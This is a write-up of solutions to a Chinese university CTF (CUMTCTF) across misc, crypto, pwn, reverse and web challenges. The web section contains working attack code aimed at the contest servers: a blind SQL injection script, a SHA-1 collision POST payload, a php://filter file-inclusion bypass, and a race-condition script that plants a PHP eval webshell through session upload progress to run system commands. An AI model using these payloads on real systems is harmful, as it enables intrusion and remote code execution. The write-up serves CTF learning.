以前的wp,重新上传下 !__!
MSIC
连签到都算不上
题目给出一个压缩包,看到里面txt,猜是base64加密后图片,解码后得到一个二维码,然后扫码得到\u开头的字符串,用java输出得到字符串,再用核心价值观解码,得到flag。
真·签到题
题目给了一个压缩包,猜测是伪加密。考虑到伪加密在kali,mac等系统中可直接打开。于是将压缩包拖到虚拟机中解压。
得到一个图片,将它放到winhex中分析发现最后有一串base64加密的字符串。
Base64解密得到:EWOVEVH{U1ip_kp_uweeguuhw11a!}
对比CUMTCTF{,,,}格式可以发现,将该字符串字母左移两位即可得到flag。
兔兔那么可爱
题目给了一张图片和一个不知道什么格式的flag文件,根据hint,图片没什么用,将flag文件用txt打开,发现第12358个字符组成CUMTCT,猜测是斐波那契数列,于是写python脚本将对应位置的字符打印出来得到flag。
别做题了听歌吧
题目给了一个MP3文件,应该是音频隐写,用工具MP3Stego,根据题目的提示“别问,问就是cumt”,猜测cumt是密码,于是解密得到
这样一个txt,打开发现是一堆长短不一的空白格,将其转换成Morse编码,有
解码得到M0RS38MORSE8M0RS38MORSE8M0RSE8AND8MP3ST39O
加上格式CUMTCTF{M0RS38MORSE8M0RS38MORSE8M0RSE8AND8MP3ST39O}
即为flag
CRYPTO
幼儿园的密码题
题目直接给出e,c,n
解出p,q
然后得到flag。
小学生的密码题
阅读Python代码,显然最后编码后的结果以0为分界线,由于print去除了最后末尾的0,补全后,编码结果应该为:
```
21088410841088402108840420888888821088810888884210888888410888421088881088888820888841088842108820888881088884210888880888888408888888410
```
如果逆向出发未免太烦了,考虑到对于每个字符的编码函数为:
res = ""
if i >= 8:
res += int(i/8)*"8"
if i%8 >=4:
res += int(i%8/4)*"4"
if i%4 >=2:
res += int(i%4/2)*"2"
if i%2 >= 1:
res += int(i%2/1)*"1"
将其处理成函数,将0-127的字符全部进行编码,形成哈希映射。
对编码后的结果以0为分隔符分割,得到list,而后迭代获取对应则得到了flag。
PWN
test_nc
直接用nc连接上题目给的端口,肯定自己是个女生,然后得到学长base64加密的联系方式和密码,解密后,加上学长,然后就可以得到flag了。
Babystack
将题目文件拖进IDA然后简单分析,得到只要回答1_love_y0u就可以拿到shell,cat flag就行了
RE
re1-连个签到的分都不给你
直接拖进IDA用shift+f12查看字符串得到flag
re2-兄弟们快来帮帮萄萄
根据题目提示,下载相应的upx版本,对题目文件进行脱壳,拖进IDA然后同第一题,直接shift+f12查看字符串得到flag
re3-python题禁止py
根据题目python字节码反向写出python代码
Web
Web签到
按照题目要求,构造GET 1和POST 2的语句
然后题目给出源码
直接加上file=flag.php
发现flag
Babysqli
通过测试,发现空格和and会被检测,空格用/**/代替
通过union select挨个测试,发现长度为8,而且4有回显,
在4的位置直接用构造sql语句
得到flag:CUMTCTF{27ec8034-c9fe-0cfd-d92a-84362ecf0e42}
Secret
打开发现是个图片,保存下来,用winhex打开,发现里面有php代码,保存下来(也能直接扫到www.zip,)
<!DOCTYPE html>
<html ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Secret?</title>
<h1>The dream of a great singer</h1>
<img src="./secret.jpg" alt="The dream of a great singer" />
</html>
<?php
error_reporting(0);
include_once('flag.php');
if(isset($_GET['param1']))
{
$str1=$_GET['param1'];
if(file_get_contents($str1)!=='Suvin_wants_a_girlfriend')
die("Suvin doesn't like you");
if(isset($_GET['param2'])){
$str2=$_GET['param2'];
if(!is_numeric($str2))
die('Suvin prefers strings of Numbers');
else if($str2<3600*24*30)
die('Suvin says the num is too short');
else if($str2>3600*24*31)
die('Suvin says the num is too long');
else {
echo "Suvin says he's falling in love with you!"."</br>";
sleep(intval($str2));
}
if (isset($_POST['param1']) && isset($_POST['param2'])) {
$str1=$_POST['param1'];
$str2=$_POST['param2'];
if(strlen($str1)>1000)
die("It's too long");
if(((string)$str1!==(string)$str2)&&(sha1($str1)===sha1($str2)))
echo $flag;
else
die("It's so similar to md5");
}
}
}
?>
用burpsuite抓包
利用data:协议绕过第一个die,利用16进制把2,592,001转变成0x278d01绕过第二个die,
最后一个绕过sha1,由于string转换了下,所以不能用数组绕过,直接找sha1碰撞,谷歌放出了第一例sha1碰撞
payload:
http://202.119.201.197:13005/?param1=data:text/plain,Suvin_wants_a_girlfriend¶m2=0x278d01
POST:
param1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1¶m2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
Babysqli2
本题中对单引号进行了禁用,利用转义使用后面password的单引号进行闭合,
空格使用/**/替代,使用or,left,right,ord避开ascii和substr函数的禁用
构建python脚本
import requests
s = requests.Session()
url = 'http://202.119.201.197:13004/index.php'
flag = ''
def exp(i, j, z):
payload = f"or/**/ord(right(left((select/**/password/**/from/**/users/**/limit/**/9,1),{i}),1))={j}#"
#ord(right(left(database(),1),1))>0#
#select username from security.users limit 0,1
data = {
"username": "1\\",
"password": payload
}
r = s.post(url, data=data)
if "Login success!" in r.text:
return True
else:
return False
for z in range(0,8):
flag = ''
for x in range(1, 80):
low = 0#32
high = 127#127
for i in range(low, high):
if exp(x, i, z):
flag += chr(i)
print(flag)
break
print()
print(flag)
最终得到flag
简单的文件包含?
使用client-ip构造127.0.0.1绕过
拿到源码:
<?php
if ($_SERVER['HTTP_CLIENT_IP'] != '127.0.0.1' && $_SERVER['HTTP_X_REAL_IP'] != '127.0.0.1'){
if ($_SERVER['HTTP_X_FORWARDED_FOR'] == "127.0.0.1") {
die("Do u think that I dont know X-Forwarded-For?<br>Too young too simple sometimes naive");
}
die("Sorry, this site is only optimized for those who comes from localhost");
}
show_source(__FILE__);
include_once("flag.php");
if(isset($_POST['f']))
include_once($_POST['f']);
简单的文件包含,但是之前已经包含了flag.php,include_once
只能包含一次,所以要饶过他
payload:
http://202.119.201.197:13002/
POST:
f=php://filter/read=convert.base64-encode/resource=/x/../proc/self/cwd/flag.php
base64解码即可
Try:GET_file
包含session
参考:https://www.freebuf.com/vuls/202819.html
如果
session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
利用条件竞争进行rce
#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('cat /tmp/7IDUrqGOt8PMATm852/flag.txt');"}
#data = {"cmd":"system('find / -name flag*');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://202.119.201.197:13077/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://202.119.201.197:13077/?file=/tmp/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()